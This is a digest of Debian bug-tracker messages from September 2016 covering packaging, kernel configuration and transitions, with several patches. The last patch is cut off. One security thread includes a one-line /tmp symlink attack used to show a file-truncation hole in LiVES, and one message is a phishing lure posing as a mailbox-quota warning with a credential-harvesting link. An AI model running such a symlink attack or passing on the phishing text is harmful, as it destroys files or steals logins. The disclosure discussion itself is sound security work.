The first rule of tautology club is the first rule of tautology club.

signature.asc
Description: This is a digitally signed message part

Bug#838608: ITP: libtest2-plugin-nowarnings-perl -- Perl testing plugin to fail tests if warnings are generated

[Nick Morrott]

Package: wnpp
Owner: Nick Morrott 
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, debian-p...@lists.debian.org

* Package name: libtest2-plugin-nowarnings-perl
  Version : 0.02
  Upstream Author : Dave Rolsky 
* URL : https://metacpan.org/release/Test2-Plugin-NoWarnings
* License : Artistic-2.0
  Programming Lang: Perl
  Description : Perl testing plugin to fail tests if warnings are generated

The Test2::Plugin::NoWarnings plugin causes tests to fail if there are any
warnings while they run. Each warning generates a new failing test, and the
warning content is outputted via diag.

This module uses $SIG{__WARN__}, so if the code you're testing sets this,
this module will stop working.

Test2::Plugin::NoWarnings is a dependency of Params::ValidationCompiler.

The package will be maintained under the umbrella of the Debian Perl Group.

Bug#838607: linux-image-4.7.0-0.bpo.1-amd64-unsigned: new file date writing issue

[westlake]

Package: linux-image-4.7.0-0.bpo.1-amd64-unsigned
Version: 4.7.2-1~bpo8+1
Severity: normal

There's a bug with ext4 on the new 4.7 kernel -- rare but it happened 
here on an ext4 mountpoint (/home /dev/md1   ext4  rw,relatime,data=ordered)


when a new file is created, the "create time" is not properly set.(2014 
was written as the create year instead of 2016)


it occured today after I updated to 4.7 so I can only assume it has 
something to do with it..


my system here has "mdadm" containers, and perhaps it's possible a set 
of conditions allowed this rarity to occur.

Bug#756565: lives: Numerous insecure temporary files used in smogrify

[James Cowgill]

Hi,

On 20/09/16 18:09, salsaman wrote:
> As I mentioned already, the location of this directory is selected by
> the user the first time that LiVES is run.
> There is nothing forcing it to be ~/livestmp.

That's fine, although I don't think it should be the default.

> The directory being world writeable is a separate bug which will be
> addressed there.
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=798043

Ok.

>>> Regarding the other files:
>>>
>>> /tmp/lives-symlinks is only used in the Dynebolic bootable disk.
>>> Effectively this can be ignored, since it is not used in normal  operation.
>>
>> Why does the code still exist then? Can you confirm that it can never
>> ever be executed?
>> 
>> I have not investigated much, but if it can be executed then it could
>> quite easily be used to allow editing of any file in a user's home
>> directory.
[...]
> I rechecked and you may be correct in this case. I started reworking
> this code now. /tmp will no longer used, instead all the symlinks will
> be created in the individual clip directories. In addition, the
> directory was set with chmod 777, now it will be created with mode 700.

That sounds good.

>> For example, simply grepping the lives source reveals:
>> lives-plugins/plugins/playback/video/oggstream.c:
>> dummyvar=system("smogrify get_tempdir oggstream");
>> 
>> This allows any user to truncate any file owned by the lives user by
>> simply creating a symlink, and waiting for smogrify to be run.
>>  ln -s $IMPORTANT_FILE /tmp/.smogrify.oggstream
> 
> Thanks for pointing that out.
> The only other place where I know /tmp is used is in
> lives-plugins/marcos-encoders. For example in lives_mkv_encoder we have:
> temp_dir = tempfile.mkdtemp('', '.lives-', '/tmp/')
> 
> However the description of (Python) mkdtemp suggests that this should be
> safe:
> https://docs.python.org/2/library/tempfile.html
> 
> "Creates a temporary directory in the most secure manner possible. There
> are no race conditions in the directory’s creation. The directory is
> readable, writable, and searchable only by the creating user ID."

Yep mkdtemp should be secure so there's no problem here.

> So to summarise - issues to be addressed:
> 
> - remove old unneeded code with rm /tmp/.smogval
> - do not create symlinks in /tmp, instead create them in the clip
> directories
> - in the case where values are written to /tmp for external scripts
> (smogrify get_tempdir), check that the file exists and is owned by the user

Thinking about this some more, there is a slight race condition here if
the user deletes the file after the checks, but before it's written. I
think the best fix would break the smogrify API unfortunately. One
alternative is to use to use open(2)'s O_CREATE | O_EXCL flags, but this
will only work if the file does not exist beforehand.

> Is there anything else I have missed ?

I think that's everything I found.

Thanks,
James



signature.asc
Description: OpenPGP digital signature

Bug#838606: RM: seqan-apps [arm64 armhf mips mipsel powerpc ppc64el s390x mips64el] -- FTBFS; built by new incompletely ported source package

[Sascha Steinbiss]

Package: ftp.debian.org
Severity: normal

Dear FTP team,

please remove the out of date seqan-apps binary packages built from the
seqan 1.4 source package, for the archs mentioned above.
These have been superseded by their counterparts built from the seqan2 source
package, which does not (yet) build on all architectures [1]. We would like to
ensure testing transition in any case while working to improve building on the
rest of the architectures.
The removal has been approved/suggested by Andreas Tille, one of the
main co-maintainers [2].

Thanks
Sascha

[1] https://buildd.debian.org/status/package.php?p=seqan2=unstable
[2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=798637#40

Bug#838555: Redmine bad path

[Antonio Terceiro]

On Thu, Sep 22, 2016 at 11:19:42AM +0200, Thomas VIDAL wrote:
> Package: redmine
> Version: 3.0~20140825-8~deb8u3
> 
> When using apt-get update && apt-get dist-upgrade to update the system I
> have an error on redmine update :
> 
> Setting up redmine (3.0~20140825-8~deb8u3) ...
> chown: cannot access ‘/var/lib/redmine/Gemfile.lock’: No such file or
> directory
> dpkg: error processing package redmine (--configure):
> subprocess installed post-installation script returned error exit status 1
> 
> The default path for Gemfile.lock is /usr/share/redmine
> 
> I suggest that the default path of redmine installation and update is
> /usr/share/redmine.
> 
> I am using Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux

you need to provide more information:

- which redmine version are you upgrading from?
- was it working OK before?
- did you install any redmine plugins by hand?


signature.asc
Description: PGP signature

Bug#838605: Enable PowerNV MTD modules on POWER systems

[Timothy Pearson]

Package: linux-image-4.6.0-1-powerpc64le
Version: 4.6.4-1
Severity: important

The PowerNV MTD module is required for checkstop diagnostics on POWER8 and
higher machines, but it is not enabled in the kernel build.

Please enable it as a module with the following kernel .config lines:
CONFIG_MTD=m
CONFIG_MTD_POWERNV_FLASH=m

Thanks!

Bug#838532: transition: cgal

[Emilio Pozuelo Monfort]

Control: tags -1 confirmed

On 22/09/16 00:05, Joachim Reichel wrote:
> Package: release.debian.org
> Severity: normal
> User: release.debian@packages.debian.org
> Usertags: transition
> 
> Hi,
> 
> cgal 4.9-1 changed the SONAME and needs a transition. I have to apologize 
> since
> the new package is already in unstable because I completely forgot that such a
> change consitutes a transition and needs approval from the release team first.
> 
> Rebuilding the reverse dependencies worked fine with the exception of:
> 
> crrcsim: FTBFS #811818, 8 months old, package not in testing
> k3d: FTBFS #838516, unrelated, will follow up with maintainer

binNMUs scheduled.

Emilio

Bug#732797: PKG_CHECK_MODULES should report the module name, not variable prefix

[Guillem Jover]

Control: tags -1 patch

On Sat, 2013-12-21 at 12:24:49 -0800, Russ Allbery wrote:
> Package: pkg-config
> Version: 0.26-1
> Severity: minor

> In Autoconf output from PKG_CHECK_MODULES in pkg.m4, the "checking for"
> message refers to the first argument of PKG_CHECK_MODULES, the variable
> prefix, instead of the second argument, the module being checked for.
> 
> I've seen this result in strange output (like ALL CAPS module names) in
> various packages, and now have run into it in one of mine.  When
> probing for the libsystemd-daemon module, one can't use a variable
> prefix that matches the module name (since - isn't allowed in variable
> names), so the Autoconf output is going to refer to something odd, like
> SYSTEMD_DAEMON or libsystemd_daemon.
> 
> I think the status output should reference the module name being
> probed for, both because it looks nicer and because, when debugging
> problems, this references the actual thing being probed for on the
> system, rather than an internal implementation detail.

I agree wholeheartedly! I guess one possible objection is that this is
not that internal, as that name is also used by the AC_ARG_VARs so
that the user can override the values, but still, this does not match
with other checks such as the compiler which prints the actual program
instead of CC.

I noticed this bug report some time ago, but I've got bothered enough
now to try to move it forward. And I've turned the above description
and the below "patch"…

> This could be easily done by changing the line:
> 
> AC_MSG_CHECKING([for $1])
> 
> in pkg.m4 to:
> 
> AC_MSG_CHECKING([for $2])

…into a git formatted patch (against current master). But because
I've actually reworded things a bit, and I feel like I've actually put
words in Russ' mouth, I'd rather you'd take a look before considering
forwarding it upstream! I'll also very happily defer if you'd want to
do that yourself!

Patch attached.

Thanks,
Guillem
From fcdcf0d60ea52a4cfd636046e049c11cdc4497a9 Mon Sep 17 00:00:00 2001
From: Russ Allbery 
Date: Thu, 22 Sep 2016 23:44:02 +0200
Subject: [PATCH] Make PKG_CHECK_MODULES report the module name instead of the
 variable prefix
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

In Autoconf output from PKG_CHECK_MODULES in pkg.m4, the "checking for"
message refers to the first argument of PKG_CHECK_MODULES, the variable
prefix, instead of the second argument, the module being checked for.

This results in strange output (like ALL CAPS module names) in various
packages. And when probing for modules, one can't always use a variable
prefix that matches the module name (since ‘-’ and other characters
aren't allowed in variable names), so the Autoconf output is going to
refer to something odd.

The status output should reference the module name being probed for,
both because it looks nicer and because, when debugging problems, this
references the actual thing being probed for on the system, rather than
an internal implementation detail.

Signed-off-by: Guillem Jover 
---
 pkg.m4.in | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkg.m4.in b/pkg.m4.in
index eb44361..2b341dd 100644
--- a/pkg.m4.in
+++ b/pkg.m4.in
@@ -142,7 +142,7 @@ AC_ARG_VAR([$1][_CFLAGS], [C compiler flags for $1, overriding pkg-config])dnl
 AC_ARG_VAR([$1][_LIBS], [linker flags for $1, overriding pkg-config])dnl
 
 pkg_failed=no
-AC_MSG_CHECKING([for $1])
+AC_MSG_CHECKING([for $2])
 
 _PKG_CONFIG([$1][_CFLAGS], [cflags], [$2])
 _PKG_CONFIG([$1][_LIBS], [libs], [$2])
-- 
2.9.3

Bug#830200: transition: perl

[Emilio Pozuelo Monfort]

Control: tags -1 confirmed

Hi Dom!

On 19/09/16 17:52, Dominic Hargreaves wrote:
> On Wed, Sep 14, 2016 at 11:13:04AM +0100, Dominic Hargreaves wrote:
>> On Thu, Jul 07, 2016 at 12:55:34PM +0200, Niko Tyni wrote:
>>> We'd like to have Perl 5.24 in stretch.
> 
>> I'd like to propose that we upload perl 5.24 to unstable next week.
>> There are a few things left to deal with and I've just updated the blocker
>> list. I think they can all be either fixed in a week or removed,
>> with the possible exception of graphicsmagick which was a new FTBFS
>> which has popped up only on ppc64el.
>>
>> #825524: liblexical-underscore-perl - there is a patch available
>> #834249: openbabel - there is a patch available
>> #825012: libalgorithm-permute-perl - no rdeps, to remove
>> #825231: libdevel-beginlift-perl - no rdeps, to remove
>> #837719: graphicsmagick - new issue, may need to wait or push for hacky fix?
>> #825762: libtext-sprintfn-perl - fixed upstream
>> #834800: libkavorka-perl - one rdep libmoops-perl, both can be removed
> 
> These are nearly all sorted now - just openbabel to hit sid (in
> DELAYED at the moment) and the other three blockers to be removed
> from testing when the time comes. Thanks as ever to those who worked on
> these issues.
> 
> Release team, are we in a position to upload in the next day or two
> or do we need to wait for a better time?

I wanted to get openmpi done, and that's happened today. So, let's start this!

Cheers,
Emilio

Bug#838604: Enable opal-prd module on POWER systems

[Timothy Pearson]

Package: linux-image-4.6.0-1-powerpc64le
Version: 4.6.4-1
Severity: important

The opal-prd module is required for checkstop diagnostics on POWER8 and
higher machines, but it is not enabled in the kernel build.

Please enable it as a module with the following kernel .config line:
CONFIG_OPAL_PRD=m

Thanks!

Bug#673959: O: cobalt-panel-utils -- System utilities for Sun Cobalt's LCD and LEDs

[Tobias Frost]

Adrian,

Am Donnerstag, den 22.09.2016, 12:15 +0300 schrieb Adrian Bunk:
> On Sun, Sep 04, 2016 at 12:33:00PM +0200, Tobias Frost wrote:
> > 
> > Followup-For: Bug #673959
> > Control: reassign 673959 ftp.debian.org
> > Control: retitle 673959 RM: cobalt-panel-utils -- RoQA, low popcon,
> > dead upstream, unmaintained
> > 
> > I think this software is EOL and should be removed.
> > Popcon is 1 and the Homepage does not exist anymore.
> 
> Hi Tobias,
> 
> did you ever bother to check what this package you successfully
> managed 
> to get removed from unstable actually does before claiming that it
> would 
> be EOL?

Hey, calm down. 

Of course I checked the package throughly before coming to this
decision. I never take RM requests lightly.

> popcon is never a good metric for verifying that there are no users.

Popcon is an important data point, but for of course not the only one.

> Even less for a package like cobalt-panel-tils, that provides 
> hardware support for exotic hardware - such a package can never 
> achieve high popcon numbers.

Additionally, the package was orphaned 4 years ago, had several bugs
open, some even with patches... No one cared enough to adopt it in all
those years. Popcon was never high, yes, but it has been significantly
higher in the past.

> Support for the older MIPS based Cobalts was already
> removed in Debian 8,
> and support for the newer x86 based Cobalts might lack kernel p arts.
> So you might be lucky that cobalt-panel-utils was actually EOL.

Didn't I write "dead upstream", did I?

> But this is something you should really have verified before asking
> for removal.

In the combination of above reasons, the RM was warranted and in order.
Apparently ftp masters agreed with my reasonsing, otherwise they won't
have executed it. 

If you disagree with all this, just open up an ITP bug and reintroduce
the package as maintainer. (As emeritus you know how Debian works). You
might to want become upstream, though, to solve the dead-upstream
thing.

> On the Debian MIPS list (Cc'ed) are people who could have given you 
> definite answers

> > 
> > tobi
> 
> cu
> Adrian
> 

> 

Bug#838603: Lintian: Extend obsolete-packages with the mysql-* -> default-mysql-* transition

[Otto Kekäläinen]

Package: lintian
Severity: normal
Tags: patch

Because of https://lists.debian.org/debian-devel-announce/2016/09/msg0.html
I have created a new Lintian rule that helps maintainers to remember
to use virtual-mysql-* packages instead of direct dependencies.

After discussion with Niels Thykier I understood there are two ways to
implement this: a simple obsolete-packages way (preferred) and a more
verbose way with custom error message with more tips about what a
maintainer is expected to do.

The simple version is attached.

Tests pass at https://travis-ci.org/ottok/lintian/builds/162041045
From 03399353f0b7a55d8c1ecfceeb524cabdd7ad2e0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Otto=20Kek=C3=A4l=C3=A4inen?= 
Date: Fri, 23 Sep 2016 00:45:05 +0300
Subject: [PATCH] Extend obsolete-packages with the mysql-* -> default-mysql-*
 transition
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

After this a warning will be emitted for mysql-* usage in any depends
fields but not in breaks/replaces/provides fields.

Signed-off-by: Otto Kekäläinen 
---
 data/fields/obsolete-packages |7 +++
 1 file changed, 7 insertions(+)

diff --git a/data/fields/obsolete-packages b/data/fields/obsolete-packages
index c7cd45f..9a9b929 100644
--- a/data/fields/obsolete-packages
+++ b/data/fields/obsolete-packages
@@ -104,3 +104,10 @@ python-support => use dh_python2 instead
 ruby1.9.1
 ruby1.9.1-dev
 libruby1.9.1
+
+# Deprecated in Stretch (https://lists.debian.org/debian-devel-announce/2016/09/msg0.html)
+mysql-server => default-mysql-server
+mysql-server-core => default-mysql-server-core
+mysql-client => default-mysql-client
+mysql-client-core => default-mysql-client-core
+libmysqlclient-dev => default-libmysqlclient-dev
-- 
1.7.9.5

Bug#836821: Python3 patch; some obstacles found

[Maarten]

Hi everyone,

Thomas, thanks for your patch. I used it to build protobuf 3.0.2 for ubuntu
xenial, some remarks that might be of interest for the maintainers:

* The older GCC in Ubuntu does not accept
`-Wno-error=misleading-indentation` maybe this should be specified
conditional depending on the GCC version used?

* I had to add
```
set -e; \
export LD_LIBRARY_PATH=$(CURDIR)/src/.libs; \
```
online 49 in build/rules -> override_dh_auto_test-arch,
otherwise it would not find the protobuf library.

* I had to explicitly add `python3-six` as a build-dependency, not sure why
it did not get picked up by the automatic dependency management.

* The python3 tests have a bug in 3.0.2 and need this patch (
https://github.com/google/protobuf/commit/64958cdb1d68a0ddaf10bd0ebdb4c112c370c416
)
to pass successful.


-- 

met vriendelijke groet/kind regards,

Maarten Fonville

Bug#838592: gnome-python-desktop: FTBFS: autotools.mk:44: *** no python implementation resolved from binary package "stamp-autotools".

[Santiago Vila]

reassign 838592 cdbs
affects 838592 src:gnome-python-desktop
forcemerge 837006 838592
thanks

On Thu, 22 Sep 2016, Chris Lamb wrote:

>  /usr/share/cdbs/1/class/autotools.mk:44: *** no python implementation 
> resolved from binary package "stamp-autotools".  Stop.

This is Bug #837006 again (which is a bug in cdbs, not in gnome-python-desktop).

We should really stop filing duplicates and use "affects" instead.

Thanks.

Bug#767532: shutdown-at-night: Allow systemd to wake up machines in the morning?

[Petter Reinholdtsen]

Control: tags -1 + newcomer

[Petter Reinholdtsen 2014-10-31]
> According to the blog post it need the real time clock alarm,
> https://en.wikipedia.org/wiki/Real-time_clock_alarm > to work.

If I understand this correctly, we do not need to use systemd but can call
the rtcwake (from util-linux at least after version 2.14-1).

Should be fairly trivial to implement.  Need to recommend a good version of
util-linux, look for rtcwake and call it to start the machine in the morning
before shutting down.

-- 
Happy hacking
Petter Reinholdtsen

Bug#837218: lv: breaks systemctl display status

[Nobuhiro Iwamatsu]

Control: reassign -1 systemd
Control: tags -1 patch

Hi,

This is not bug of lv.
As Yoshihito 's have pointed out , this is due to that it does not
contain lv to pager implementation of systemd.

I reassign this bug to systemd and attached patch to fix this problem.

Best regards,
  Nobuhiro

-- 
Nobuhiro Iwamatsu
   iwamatsu at {nigauri.org / debian.org}
   GPG ID: 40AD1FA6
From 17af75dd95fbdb56b5c8985553cd4343d98a3100 Mon Sep 17 00:00:00 2001
From: Nobuhiro Iwamatsu 
Date: Sun, 18 Sep 2016 01:23:47 +0900
Subject: [PATCH] Add support lv

Current of systemd only supports less and more as a pager.
This adds lv which is one of the pager.

Signed-off-by: Nobuhiro Iwamatsu 
---
 src/shared/pager.c | 30 +++---
 1 file changed, 19 insertions(+), 11 deletions(-)

diff --git a/src/shared/pager.c b/src/shared/pager.c
index a2524d4..f57335a 100644
--- a/src/shared/pager.c
+++ b/src/shared/pager.c
@@ -89,7 +89,7 @@ int pager_open(bool no_pager, bool jump_to_end) {
 
 /* In the child start the pager */
 if (pager_pid == 0) {
-const char* less_opts, *less_charset;
+const char* pager_opts, *pager_charset;
 
 (void) reset_all_signal_handlers();
 (void) reset_signal_mask();
@@ -98,21 +98,28 @@ int pager_open(bool no_pager, bool jump_to_end) {
 safe_close_pair(fd);
 
 /* Initialize a good set of less options */
-less_opts = getenv("SYSTEMD_LESS");
-if (!less_opts)
-less_opts = "FRSXMK";
+pager_opts = getenv("SYSTEMD_LESS");
+if (!pager_opts)
+pager_opts = "FRSXMK";
 if (jump_to_end)
-less_opts = strjoina(less_opts, " +G");
-setenv("LESS", less_opts, 1);
+pager_opts = strjoina(pager_opts, " +G");
+setenv("LESS", pager_opts, 1);
 
 /* Initialize a good charset for less. This is
  * particularly important if we output UTF-8
  * characters. */
-less_charset = getenv("SYSTEMD_LESSCHARSET");
-if (!less_charset && is_locale_utf8())
-less_charset = "utf-8";
-if (less_charset)
-setenv("LESSCHARSET", less_charset, 1);
+pager_charset = getenv("SYSTEMD_LESSCHARSET");
+if (!pager_charset && is_locale_utf8())
+pager_charset = "utf-8";
+if (pager_charset)
+setenv("LESSCHARSET", pager_charset, 1);
+
+/* Initialize a good set of lv options */
+pager_opts = getenv("SYSTEMD_LV");
+if (!pager_opts)
+pager_opts = "-c";
+/* NOTE: lv does not support option of jump_to_end. */
+setenv("LV", pager_opts, 1);
 
 /* Make sure the pager goes away when the parent dies */
 if (prctl(PR_SET_PDEATHSIG, SIGTERM) < 0)
@@ -138,6 +145,7 @@ int pager_open(bool no_pager, bool jump_to_end) {
 
 execlp("less", "less", NULL);
 execlp("more", "more", NULL);
+execlp("lv", "lv", NULL);
 
 pager_fallback();
 /* not reached */
-- 
2.9.3

Bug#834147: don't use gold if it doesn't work

[Matthias Klose]

Control: severity -1 important

downgrading, it's not the default linker.

Bug#838602: glibc should provide LSB-style symlinks /lib*/ld-lsb*.so.*

[Richard B. Kreckel]

Package: libc6
Version: 2.23-5

Quite some 3rd party packages expect symbolic links ld-lsb*.so.* to the
dynamic linker/loader. (E.g., on amd64, google-earth won't start on
stretch unless /lib64/ld-lsb-x86-64.so.3 is a symlink to
/ld-linux-x86-64.so.2). These symlinks used to be installed by package
lsb-base, which has been removed from stretch. Please provide the
symlinks that came with lsb-base with libc6, to keep these 3rd party
packages running.

Bug#838596: libreoffice-gtk3: When installed, LibreOffice is slow

[Rene Engelhard]

severity 838596 grave
forcemerge 837356 838596
thanks

On Thu, Sep 22, 2016 at 07:52:59PM +0200, Nicolas Patrois wrote:
> LibreOffice was nearly unusable: clicking on an equation, opening a document, 
> changing a style… took minutes. Some other operations simply crashed 
> LibreOffice.
> I searched a bit and found the workaround: uninstalling libroffice-gtk3 
> solved the problem.

You definitely didn't search enough. You would have seen that this was already
reported (and fixed)

See #837356 and #836531

Regards,

Rene

Bug#838551: mediawiki: Update breaks mediawiki-extensions, leaving unusable system

[Kunal Mehta]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Hi,

On 09/22/2016 01:06 AM, Thomas Erichsen wrote:
> Today I installed a pending upgrade for mediawiki, leaving my
> system in a complete mess: obviously, the upgrade breaks
> mediawiki-extensions, from which I used several and specifically
> the Ldap-authentication. I understand, that the former extensions
> are now partly included in the mediawiki package, right? Shouldn't
> there be a note how to configure the system to work again after
> breaking it by this upgrade?

Sorry to hear about that :(

I've updated  to note that the
mediawiki-extensions* packages are no longer supported. You should
download a more modern version of the extension from mediawiki.org.

The extensions which are bundled with the upstream tarball are
included in the "mediawiki" package itself.

Is there anywhere else you'd expect a note to let you know how to
upgrade/migrate?

- -- Kunal
-BEGIN PGP SIGNATURE-
Version: GnuPG v2

iQI0BAEBCgAeBQJX5DwiFxxsZWdva3RtQG1lbWJlci5mc2Yub3JnAAoJEFL8jnvt
t/yiRL8P/0uL2Lh2Vd/aO4ZM0WnuY1SJApXrM9F6HHBQgcgyj9vQIWbF+5P4v1At
1TGZcVkFWb5cT4/EkMgsGBhOK20zfmnZptpauOUNm0lWuc1+KggXyqCTSOTTUejM
1H4XCMQRXibMarYAOZ1Ki41geuhFJLCYwx8V3QfmoJTmbFZ4JW/SD1pJf13Uld4L
dzg+66iHRQx4BpLEX28OebE6QiD2lalC7/JjMSXYkFs4J3ef4SDrYzzIXfGyb02l
yJUfMW//yHZPqoEmNS026cesT9kD47BgJm9lbETN18JX4GJUHsR51hWdNwWw4ZOL
4qQxL8eRT5VF4SWhgW/yOzgp5ETGg+U3CUkrnKmmU4DWYD/vCCur6C3e5By6Ibso
AFDq6cViPSm1VTTSyYXlPGQ9J4Js5Jk/atRW7orIUNbAmcqU3HsL56uUeOI+pJlU
U5KathWboYBJAP+L64hJyCdW/yGsfiUMDnqUEXbUfCGgUXmP/aEDN6axQp5P0sos
C+mUK14WwxS2oNq84K6yvGfN3qPNcV9CcvGSff2bQgE+1mRTk0g2EXCcU+z6BPJI
+SjCZh5lEqfr2HesPsop+vH/mr5W8QA9aRCVDA3nZ7aNWxXAZcnhN8qi1LLXD4gD
EWtp9d+RiY+KwHeV5xEgitkjMsniaN0ttvQdHXqkxAsT7lG8W3BA
=0arX
-END PGP SIGNATURE-

Bug#838594: [Pkg-utopia-maintainers] Bug#838594: network-manager: FTBFS: ERROR:test-crypto.c:243:test_load_pkcs8: assertion failed: (nm_utils_file_is_private_key (path, NULL))

[Michael Biebl]

Control: forwarded -1 https://bugzilla.gnome.org/show_bug.cgi?id=771623

Am 2016-09-22 19:24, schrieb Chris Lamb:

  # ERROR:test-crypto.c:243:test_load_pkcs8: assertion failed:


Hi Chris,

thanks for the bug report. It's a known issue caused by the recent 
GnuTLS update.

I've already filed this issue upstream a couple of days ago.
Marking accordingly.

Michael

Bug#838601: BTS re-encodes headers of DKIM signed messages, causing it to be invalid

[Julian Andres Klode]

Package: bugs.debian.org 
Severity: normal

It seems the From field is re-encoded, causing it to be different if it 
contains umlaute.
Therefore, a DKIM signature fails, and popular (/properly configured) mail 
servers reject the
messages or think they are spam

We just hit that with #838545
-zwiebelbot/#debian-devel- Debian#838545: apt not showing any package update if 
just one repo is not valid - https://bugs.debian.org/838545

The original email was sent with From: =?iso-8859-1?Q?Bj=F6rn?= JACKE 

But it arrived as From: "Björn JACKE" 

Solution: Strip DKIM fields from re-encoded emails

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (900, 'unstable'), (500, 'unstable-debug'), (500, 'testing'), 
(100, 'experimental'), (1, 'experimental-debug')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.7.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_IE.UTF-8, LC_CTYPE=en_IE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

-- 
Debian Developer - deb.li/jak | jak-linux.org - free software dev

When replying, only quote what is necessary, and write each reply
directly below the part(s) it pertains to (`inline'). Thank you.

Bug#834722: dnsmasq-base: dnsmasq does not forward queries after recieving servers via DBus second time

[Vincent Bernat]

 ❦ 18 août 2016 12:07 CEST, Vladimir Kudrya  :

> Dear Maintainer, dnsmasq while govenred by NetworkManager fails to forward
> queries to upstream DNS server when recieved server list via DBus for
> second time.

I have the same problem. Therefore, when switching from one network to
another, I have to kill dnsmasq to make it work again. I'll try to debug
a bit more next time (but usually, this happens at the most inconvenient
moment).
-- 
Avoid multiple exits from loops.
- The Elements of Programming Style (Kernighan & Plauger)


signature.asc
Description: PGP signature

Bug#100808: Helpdesk Customer Service

[Tankard, Kim]

Your mailbox quota has passed the quota limit is 3GB. You are currently running 
at 3.9 GB.
To re-enable and increase your mailbox quota click  on the link below.

http://verificationwebmasteraccountmanagement700.webeden.co.uk/

Failure to do so may result in termination of your mailbox account.
We are sorry for the inconvenience.

Helpdesk Customer Service.​​

--
This email remains the property of ACT Education Directorate.
This transmission and any accompanying attachments may contain confidential or
legally privileged information. If you are not the intended addressee, you
are notified that any use or dissemination of this email is strictly forbidden.
If you have received this communication in error please notify the sender 
immediately
and delete all copies of this message. Opinions, conclusions, views and other
information in this message that do not relate to the official business of ACT 
Education Directorate
are the views of the individual sender and shall be understood as neither given 
nor endorsed by ACT Education Directorate.

Bug#838600: undertow: CVE-2016-7046: Long URL proxy request lead to java.nio.BufferOverflowException and DoS

[Salvatore Bonaccorso]

Source: undertow
Version: 1.4.1-1
Severity: important
Tags: security upstream

Hi,

the following vulnerability was published for undertow.

CVE-2016-7046[0]:
Long URL proxy request lead to java.nio.BufferOverflowException and DoS

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2016-7046

Regards,
Salvatore

Bug#836664: wsjtx: please drop the build dependency on hardening-wrapper

[Moritz Muehlenhoff]

tags 836664 patch
thanks

On Sun, Sep 04, 2016 at 01:17:05PM +, Matthias Klose wrote:
> Package: wsjtx
> Version: 1.1.r3496-3
> Severity: important
> Tags: sid stretch
> User: debian-...@lists.debian.org
> Usertags: hardening-wrapper
> 
> This package builds using the hardening-wrapper package, which
> is now replaced by dpkg-dev's DEB_BUILD_MAINT_OPTIONS settings.
> 
> Please consider dropping the build dependency of hardening-wrapper
> and use the DEB_BUILD_MAINT_OPTIONS settings.
> 
> The goal is to remove hardening-wrapper for the stretch release.
> Discussion about the removal is tracked in https://bugs.debian.org/836162
> 
> The severity of this report is likely to be raised before the release,
> so that the hardening-wrapper package can be removed for the release.

Patch attached. I've verified that it uses the same hardening flags.

Cheers,
Moritz 
diff -aur wsjtx-1.1.r3496.orig/debian/control wsjtx-1.1.r3496/debian/control
--- wsjtx-1.1.r3496.orig/debian/control	2013-09-04 00:45:49.0 +0200
+++ wsjtx-1.1.r3496/debian/control	2016-09-22 00:35:44.255965990 +0200
@@ -3,7 +3,7 @@
 Priority: optional
 Maintainer: Debian Hams group 
 Uploaders: John T. Nogatch , Kamal Mostafa 
-Build-Depends: debhelper (>= 8.0.0), qt4-dev-tools, qt4-qmake, libqt4-dev, gfortran, hardening-wrapper, libfftw3-dev, libhamlib-dev, libqwt5-qt4-dev, libsamplerate0-dev, portaudio19-dev (>= 19+svn2021-1~) 
+Build-Depends: debhelper (>= 8.0.0), qt4-dev-tools, qt4-qmake, libqt4-dev, gfortran, libfftw3-dev, libhamlib-dev, libqwt5-qt4-dev, libsamplerate0-dev, portaudio19-dev (>= 19+svn2021-1~) 
 Standards-Version: 3.9.4
 Homepage: http://www.physics.princeton.edu/pulsar/K1JT/wsjtx.html
 #Vcs-Git: git://git.debian.org/collab-maint/wsjt.git
diff -aur wsjtx-1.1.r3496.orig/debian/rules wsjtx-1.1.r3496/debian/rules
--- wsjtx-1.1.r3496.orig/debian/rules	2013-07-22 18:59:55.0 +0200
+++ wsjtx-1.1.r3496/debian/rules	2016-09-22 00:38:29.316744521 +0200
@@ -16,15 +16,8 @@
 # This has to be exported to make some magic below work.
 export DH_OPTIONS
 
-# enable hardening-wrapper
-export DEB_BUILD_HARDENING=1
-export DEB_BUILD_HARDENING_FORMAT=1
-export DEB_BUILD_HARDENING_FORTIFY=1
-export DEB_BUILD_HARDENING_STACKPROTECTOR=1
-# PIE causes wsjtx to seg fault immediately
-export DEB_BUILD_HARDENING_PIE=0
-export DEB_BUILD_HARDENING_RELRO=1
-export DEB_BUILD_HARDENING_BINDNOW=1
+export DEB_BUILD_MAINT_OPTIONS= hardening=+relro,+bindnow
+# Don't use PIE, causes wsjtx to seg fault immediately
 
 override_dh_auto_configure:
 	echo "running debian/rules/override_dh_auto_configure"
diff -aur wsjtx-1.1.r3496.orig/lib/Makefile.linux wsjtx-1.1.r3496/lib/Makefile.linux
--- wsjtx-1.1.r3496.orig/lib/Makefile.linux	2016-09-22 14:33:50.0 +0200
+++ wsjtx-1.1.r3496/lib/Makefile.linux	2016-09-22 00:25:24.573388316 +0200
@@ -2,7 +2,7 @@
 FC = gfortran
 
 FFLAGS = -O2 -fbounds-check -Wall -Wno-conversion -fno-second-underscore
-CFLAGS = -I. -fbounds-check
+CFLAGS = -I. -fbounds-check `dpkg-buildflags --get CFLAGS` `dpkg-buildflags --get CPPFLAGS`
 
 # Default rules
 %.o: %.c
@@ -44,7 +44,7 @@
 OBJS2 = jt9.o jt9a.o jt9b.o jt9c.o
 
 jt9: 	$(OBJS2) libjt9.a 
-	g++ -o jt9 $(OBJS2) libjt9.a -lfftw3f -lgfortran -lQtCore
